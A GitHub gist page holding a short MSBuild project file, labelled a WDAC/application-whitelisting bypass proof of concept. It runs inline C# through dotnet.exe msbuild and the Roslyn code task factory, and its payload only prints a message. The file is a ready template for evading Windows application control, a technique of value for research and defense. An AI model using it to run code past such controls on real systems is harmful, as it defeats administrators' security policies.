Skip to content

Instantly share code, notes, and snippets.

@bohops
Last active June 12, 2020 14:27
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bohops/3f645a7238d8022830ecf5511b3ecfbc to your computer and use it in GitHub Desktop.
Save bohops/3f645a7238d8022830ecf5511b3ecfbc to your computer and use it in GitHub Desktop.
<!-- dotnet.exe msbuild rosylyn_poc.csproj -->
<!-- WDAC/AWL Bypass with Dot Net Core (2.2.x) MSBuild (16.x) and the Rosyln Compiler -->
<Project DefaultTargets="Build">
<UsingTask TaskName="HelloWorld" TaskFactory="RoslynCodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
<Task>
<Code Type="Fragment" Language="cs">
<![CDATA[Console.WriteLine($":-) CSHARP :-)");]]>
</Code>
</Task>
</UsingTask>
<Target Name="Build">
<HelloWorld />
</Target>
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment